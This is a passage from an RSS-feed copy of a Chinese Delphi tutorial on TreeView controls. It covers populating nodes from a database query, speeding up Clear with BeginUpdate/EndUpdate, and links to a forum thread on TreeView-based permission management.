tv1.Selected:=tv1.items.add(nil,trim(query1.fields[1].asstring));<br>
tv2.Selected:=tv2.items.add(nil,trim(query1.fields[0].asstring));<br>
end;<br>
4:begin<br>
p1:=tv1.items.addchild(tv1.Selected,trim(query1.fields[1].asstring));<br>
p2:=tv2.items.addchild(tv2.Selected,trim(query1.fields[0].asstring));<br>
end;<br>
6:begin<br>
tv1.Items.addchild(p1,trim(query1.fields[1].asstring));<br>
tv2.Items.addchild(p2,trim(query1.fields[0].asstring));<br>
end;<br>
end;<br>
query1.next;<br>
end;<br>
query1.close;<br>
if tv1.Items.Count&gt;0 then<br>
begin<br>
tv1.Selected:=tv1.Items[0];<br>
tv1.Selected.Expand(true);<br>
end;<br>
tv1.OnClick(self);<br>
八、clear速度慢的问题<br>
问题的关键在于Clear方法会一个一个地删除每个Node，<br>
于是TreeView不断刷新，所以速度就....<br>
代码修正一下：<br>
with MyTreeView.Items do<br>
&lt;B&gt;try&lt;/B&gt;<br>
BeginUpdate;<br>
Clear;<br>
&lt;B&gt;finally&lt;/B&gt;<br>
EndUpdate;<br>
&lt;B&gt;end;&lt;/B&gt;</p>
<p>另外<br>
1、你现在遇到的问题是大量删除，<br>
如果是大量插入，也应该同样处理<br>
2、ListView有同样问题，注意<br>
其他Windows控件也有，但不很明显<br>
比如Memo、RichEdit等等<br>
总之，凡大量数据修改的情况下，<br>
应该注意BeginUpdate和EndUpdate<br>
3、&lt;B&gt;BeginUpdate和EndUpdate应该一一对应&lt;/B&gt;，<br>
因为Delphi实际上是用&lt;B&gt;计数器&lt;/B&gt;来处理的，<br>
如果忘了EndUpdate，<br>
或者BeginUpdate比EndUpdate次数多，<br>
可能导致控件不刷新了</p>
<p>九、用treeview做权限管理<br>
<a href="http://student.csdn.net/link.php?url=http://www.delphibbs.com%2Fdelphibbs%2Fdispq.asp%3Flid%3D2242766" target="_blank"><span style="color: #6d5887;">http://www.delphibbs.com/delphibbs/dispq.asp?lid=2242766</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/c-%e6%a0%91%e7%8a%b6%e6%8e%a7%e4%bb%b6treeview%e5%be%88%e5%85%a8%e9%9d%a2%e7%9a%84%e5%9f%ba%e6%9c%ac%e6%93%8d%e4%bd%9c%e7%94%a8%e6%b3%95/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

